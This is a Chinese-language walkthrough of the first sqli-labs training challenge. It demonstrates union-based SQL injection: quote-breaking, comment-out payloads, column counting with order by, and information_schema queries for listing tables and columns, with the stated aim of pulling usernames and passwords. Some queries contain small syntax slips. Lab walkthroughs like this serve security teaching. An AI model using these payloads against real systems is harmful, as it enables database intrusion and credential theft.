sqli-labs Basic Challenge Less_1 通关指南
- 测试注入点
- 测试注入点的数据类型
- 测试过程:
- 测试返回点:
- 测试列数:
- 测试返回点:
- 收集数据:
- 版本
- 用户权限
- 库名
- 表名与列名
- 查找敏感信息
测试注入点
在进行SQL注入之前,首先要找到可能出现的注入点,以及其防护等级,也就是查找是否有漏洞。
进入网页之后显示这样的页面,提示为:
Please input the ID as parameter with numeric value
在网址后输入?id=1
,显示出这个界面:
接下来我们开始详细分析这个注入点
测试注入点的数据类型
对于字符型、数字型和查找型的注入代码有所不同,所以要先判断注入点的类型。
对于这三种数据类型,书写代码时有所不同,如:
- 对于数字型:
select * from xxx where id =$id;
这种类型最为简单,直接注入不会有其他的影响。
- 对于字符型:
select * from xxx where id ='$id';
或者:
select * from xxx where id ="$id";
在进行注入的时候如果不进行任何其他操作,整个命令都会被当成一个字符型数据类型,导致注入的代码无法执行
- 对于查找型:
select * from xxx where id like %$id%;
查找型与字符型基本同理。
测试过程:
首先测试为数字型的可能性,我们输入:
/?id=1 and 1=1
以及
/?id=1 and 1=2
测试有无异常,发现没有异常。
然后我们测试为字符型的可能性:
/?id=1' and 1=2
发生报错:
报错信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘and1=2’ LIMIT 0,1’ at line 1
报错信息大致意思时and1=2' LIMIT 0,1
这附近的语句出现问题,确实,由于原语句中在'$id'
之后有一段 LIMIT 0,1
导致报错。
解决方案是:
/?id=1' and 1=2 --+
用--+
注释后面的代码即可,最后页面显示为:
出现异常。
测试返回点:
在SQL语句执行之后,服务器的数据会在Web中显示,我们需要确定哪一个点的数据被显示在特定位置上。
测试列数:
输入代码:
/?id=-1' and 1=1 order by n --+
n为常数,如果n超过列数即会报错。
报错信息为:
Unknown column ‘4’ in ‘order clause’
测试返回点:
输入代码:
/?id=-1' union select 1,2,3 --+
这样我们可以把代码中的2和3替换成其他命令,这样可以在Web中显示。
收集数据:
版本
可以通过version()
函数获取,示例代码如下:
select version()
用户权限
可以通过user()
函数获取:
select user()
库名
可以通过database()
函数获取
select database()
表名与列名
这里我们就要知道一些系统表的知识了:
详细请查看MySQL系统库之information_schema,这个表中记录了库名、表名、列名等有效信息。
select * from information_schema.tables where TABLE_SCHEMA='database()'
具体解释为:查找改数据库中所有表的信息。
select * from information_schema.column where TABLE_NAME='XXX'
具体解释为查找某个表中所有列名。
查找敏感信息
在获取了以上信息后,就可以查询一些敏感信息了,包括用户的用户名和密码等。